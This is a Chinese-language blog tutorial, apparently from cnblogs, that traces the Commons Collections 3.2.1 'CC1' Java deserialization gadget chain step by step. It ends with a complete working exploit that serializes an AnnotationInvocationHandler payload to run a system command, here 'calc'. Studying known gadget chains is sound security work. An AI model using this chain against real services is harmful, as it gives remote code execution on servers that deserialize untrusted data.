cc1链
jdk:jdk1.8.0_65
commons-collections 3.2.1
cc1链起点是commons-collections包的Transformer接口,这个接口的transform方法接收一个对象作为参数
package org.apache.commons.collections;
public interface Transformer {
Object transform(Object var1);
}
所以我们需要找到实现这个接口,并重写tarnsform方法的类,看其重写内容是否可以利用(IDEA找到类ctrl+h)
看到InvokerTransformer类的构造方法和transform方法:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
可以看到transform使用反射机制调用方法
input这个对象可控,在构造方法可以控制方法名和参数值以及参数类型
用如下方式就可以利用InvokerTransformer的transform中的反射执行系统命令calc
Runtime r = Runtime.getRuntime();
InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
//it.transform(r);
//这里需要找到调用transform方法的,然后transform参数还不知道可不可控
继续找调用了transform方法的类,在TransformedMap类中有一个chekSetValue方法
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
//构造方法
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected构造方法只能通过类内部调用,无法在外部调用,需要找到一个内部方法调用构造方法,看到decorate方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
利用
Runtime r = Runtime.getRuntime();
InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
HashMap<object,object> map= new HashMap<>();
Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer);
现在需要找到一个类去调用checkSetValue方法,看到AbstractInputCheckedMapDecorator类有一个MapEntry内部类继承了AbstractMapEntryDecorator类,MapEntry这个内部类里面有一个setValue方法
static class MapEntry extends AbstractMapEntryDecorator {
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = this.parent.checkSetValue(value);
return this.entry.setValue(value);
}
看到AbstractMapEntryDecorator类构造方法,没什么需要注意
public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
protected final Map.Entry entry;
public AbstractMapEntryDecorator(Map.Entry entry) {
if (entry == null) {
throw new IllegalArgumentException("Map Entry must not be null");
} else {
this.entry = entry;
}
}
Map.Entry是一个接口,entry其实是一个键值对
所以可以通过设置键值对,遍历键值对,使用entry来调用setValue方法。下面代码的entry是遍历transformMap(这是TransformedMap类的一个对象)的键值对,而TransformedMap类本身没有setValue方法,又继承了AbstractInputCheckedMapDecorator类,所以entry,setValue调用的是父类AbstractInputCheckedMapDecorator的setValue
Runtime r = Runtime.getRuntime();
InvokerTransformer it = new InvokerTransformer("exec",Class[]{String.class},Object[]{"calc"});
HashMap<object,object> map= new HashMap<>();
map.put("a","a");//设置键值对
Map transformMap = TransformedMap.decorate(map,null,InvokerTransformer);
for(Map.Entry entry:transformMap.entrySet()) { //遍历键值对
entry.setValue(r);//调用setValue
}
但反序列化链我们需要找到重写的readObject,如果这个重写的readObject刚好调用了setValue就很好了。总之就是根据调用关系一层层向上扒,直到找到一个readObject
看到一个AnnotationInvocationHandler类重写了一个readObject方法调用了setValue。看构造方法和它的readObject
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
构造方法是默认类型-缺省,只可以在类中和同一包中调用,所以需要使用反射
利用:
public static void main(String[] args) throws Exception{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","qs");
Map transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Override.class,transformedMap);
serialize(annotationInvocationHandler);
//Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method'
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
o.writeObject(object);
}
public static void unserialize(String file) throws Exception{
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
}
执行不了calc命令原因:
1.AnnotationInvocationHandler类中的readObject的setValue的传入对象我们不可控,也就是没有传入我们的getRuntime对象
2.AnnotationInvocationHandler类中的readObject的第一个if没有成功进去
3.Runtime对象即使传进去了,也不能序列化,因为它没有实现Serializebale接口
最终的利用:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","qs");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
serialize(annotationInvocationHandler);
unserialize("Object");
看到ChainedTransformer,它构造方法会传入一个数组,然后调用数组里面的所有transform
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
然后看到ConstantTransformer的transform和构造方法,他会返回传入的对象,可以用来传入Runtime对象
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
触发流程:反序列化触发AnnotationInvocationHandler的readObject,然后readObject调用 AbstractInputCheckedMapDecorator的setValue,此时的setValue调用checkSetValue。
此时的parent是一个TransformedMap,调用TransformedMap的checkSetValue。
可以看到此时的valueTransformer是ChainedTransformer,调用ChainedTransformer的transform,ChainedTransformer的transform会循环调用利用代码中数组里面的对应的类的transform。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//这里调用它的transform会返回Runtime对象
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})//这里的三个InvokerTransformer的transform的调用通过反射执行了exec("calc")
};
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
// Press Shift twice to open the Search Everywhere dialog and type `show whitespaces`,
// then press Enter. You can now see whitespace characters in your code.
public class Main {
public static void main(String[] args) throws Exception{
// Class c = Runtime.class;
// java.lang.reflect.Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
// Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","qs");
Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class A = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = A.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object annotationInvocationHandler = constructor.newInstance(Target.class,transformedMap);
serialize(annotationInvocationHandler);
unserialize("Object");
//Incompatible types. Found: 'java.lang.reflect.Method', required: 'jdk.internal.org.objectweb.asm.commons.Method'
}
public static void serialize(Object object) throws Exception{
ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Object"));
o.writeObject(object);
}
public static void unserialize(String file) throws Exception{
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
}
}
参考:https://xz.aliyun.com/t/12669
标签:InvokerTransformer,Object,javaCC,transform,Class,new,class From: https://www.cnblogs.com/q1stop/p/17925873.html